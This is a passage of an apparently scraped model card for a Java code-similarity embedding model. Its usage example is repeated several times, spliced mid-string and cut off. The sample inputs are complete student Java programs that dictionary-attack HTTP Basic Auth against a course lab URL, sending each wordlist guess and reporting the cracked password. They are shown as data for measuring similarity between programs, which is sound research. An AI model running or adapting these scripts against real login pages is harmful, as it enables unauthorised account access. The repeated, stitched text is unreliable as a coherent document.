 conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream 